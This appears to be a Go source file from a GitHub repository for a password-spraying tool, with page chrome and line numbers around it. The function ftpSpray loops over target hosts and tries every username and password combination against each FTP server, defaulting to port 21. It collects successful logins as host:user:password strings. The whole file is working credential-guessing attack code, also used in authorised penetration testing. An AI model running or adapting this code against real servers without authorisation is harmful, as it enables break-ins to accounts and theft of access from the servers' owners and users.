-
Notifications
You must be signed in to change notification settings - Fork 7
/
ftpSpray.go
44 lines (37 loc) · 978 Bytes
/
ftpSpray.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package main
import (
"fmt"
"github.com/GoSpray/goftp"
"sync"
)
func ftpSpray(wg *sync.WaitGroup, channelToCommunicate chan string, taskToRun task, storeResult *int) {
defer wg.Done()
internalCounter := 0
for _,taskTarget := range taskToRun.targetsRaw {
temporaryTarget := parseTarget(taskTarget)
taskToRun.target = temporaryTarget
if taskToRun.target.port == 0 {
taskToRun.target.port = 21
}
for _,password := range taskToRun.passwords {
for _,username := range taskToRun.usernames {
if internalCounter >= *storeResult {
ftpClient, err := goftp.NewFtp(stringifyTarget(taskToRun.target))
if err != nil {
panic(err)
}
if err = ftpClient.Login(username, password); err != nil {
fmt.Print("-")
} else {
fmt.Print("+")
channelToCommunicate <- taskToRun.target.host + ":" + username+":"+password
}
ftpClient.Close()
*storeResult++
} else {
}
internalCounter++
}
}
}
}